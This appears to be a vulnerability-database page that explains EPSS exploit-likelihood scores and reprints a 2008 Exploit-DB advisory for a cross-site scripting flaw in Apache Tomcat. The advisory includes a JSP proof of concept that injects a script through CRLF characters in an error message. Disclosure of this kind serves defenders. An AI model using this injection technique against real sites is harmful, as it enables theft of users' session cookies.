EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 32138

Publication date : 2008-07-31 22h00 +00:00
Author : Konstantin Kolinko
EDB Verified : Yes

source: https://www.securityfocus.com/bid/30496/info Apache Tomcat is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. The issue affects the following versions: Tomcat 4.1.0 through 4.1.37 Tomcat 5.5.0 through 5.5.26 Tomcat 6.0.0 through 6.0.16 <%@page contentType="text/html"%> <% ~ // some unicode characters, that result in CRLF being printed ~ final String CRLF = "\u010D\u010A"; ~ final String payload = CRLF + CRLF + "<script type='text/javascript'>document.write('Hi, there!')</script><div style='display:none'>"; ~ final String message = "Authorization is required to access " + payload; ~ response.sendError(403, message); %>
